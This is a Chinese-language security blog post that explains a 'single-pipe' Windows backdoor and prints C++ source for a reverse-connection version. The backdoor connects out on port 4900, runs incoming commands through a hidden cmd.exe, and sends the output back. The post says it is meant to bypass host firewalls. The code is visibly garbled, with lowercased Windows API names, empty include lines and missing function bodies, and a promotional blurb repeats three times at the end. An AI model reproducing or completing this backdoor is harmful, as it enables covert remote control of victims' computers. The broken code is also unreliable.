單管道後門相對於雙管道後門(參照前面發的blog),很明顯單管道後門使用了「cmd.exe /c [命令]」的用法在進行cmd程序建立時就順帶執行了命令,所以省去了由socket發往cmd的管道。同時筆者為樣例程式加上了反向連線的模組,反向連線由宿主機作為client端,操縱者的nc或telnet等作為server端,與前面發的正向連線原理相反,反向連線由宿主機發出連線,可以有效繞過宿主機針對外來連線的防火牆。
/*
*@author: peterz1997
*@time: 2018/03/03
*@function: 單管道反向連線後門(default_port: 4900)
*/#include #include #include #include #include #include using namespace std;
#pragma comment(lib,"ws2_32")
handle g_hinputpipe, g_houtputpipe;
handle g_hthread;
dword g_dwthreadid;
const unsigned short port = 4900;
const char * remote_addr = "127.0.0.1";
const unsigned int maxstr = 255;
//收發資訊
bool senddata(socket ssock, char *cmdline, const char* sockdata)
sleep(200);
startupinfo si;
process_information pi;
getstartupinfo(&si);
si.hstderror = g_hinputpipe;
si.hstdoutput = g_hinputpipe;
si.wshowwindow = sw_hide;
si.dwflags = startf_useshowwindow | startf_usestdhandles;
getsystemdirectory(cmdline, maxstr);
strcat_s(cmdline, maxstr, "\\cmd.exe /c ");
strcat_s(cmdline, maxstr, sockdata);
while (!createprocess(null, cmdline, null, null, true, null, null, null, &si, &pi))
waitforsingleobject(pi.hprocess, 10000);
return true;
}//被控端管道資訊回傳監控
dword winapi watchdata(lpvoid lprarm)
} }return 0;
}//主函式
int winapi winmain(_in_ hinstance hinstance, _in_opt_ hinstance hprevinstance, _in_ lpstr lpcmdline, _in_ int nshowcmd)
send(ssock, welrow, strlen(welrow), 0);
g_hthread = createthread(null, 0, watchdata, lpvoid(ssock), 0, &g_dwthreadid);
while (true)
if (!senddata(ssock, cmdline, sockdata))
zeromemory(sockdata, maxstr);
} waitforsingleobject(g_hthread, infinite);
closehandle(g_hinputpipe);
closehandle(g_houtputpipe);
closesocket(ssock);
wsacleanup();
exitprocess(0);
return 0;
}
web安全之路
我按照我曾經的路程為大家梳理一下怎麼學習安全有關的知識,怎麼樣入門,需要哪些知識,文章我會選擇乙個月一更,時間和精力有限,故時間較長,我知道最好的學習方法就是和大家分享,這樣才能的到最好的反饋,安全這條道路是枯燥和孤獨的,但我還是希望能夠有更多的人投入到安全的行業,後續我會拿很多實戰來為大家講解相關...
web安全之路
我按照我曾經的路程為大家梳理一下怎麼學習安全有關的知識,怎麼樣入門,需要哪些知識,文章我會選擇乙個月一更,時間和精力有限,故時間較長,我知道最好的學習方法就是和大家分享,這樣才能的到最好的反饋,安全這條道路是枯燥和孤獨的,但我還是希望能夠有更多的人投入到安全的行業,後續我會拿很多實戰來為大家講解相關...
web安全之路
我按照我曾經的路程為大家梳理一下怎麼學習安全有關的知識,怎麼樣入門,需要哪些知識,文章我會選擇乙個月一更,時間和精力有限,故時間較長,我知道最好的學習方法就是和大家分享,這樣才能的到最好的反饋,安全這條道路是枯燥和孤獨的,但我還是希望能夠有更多的人投入到安全的行業,後續我會拿很多實戰來為大家講解相關...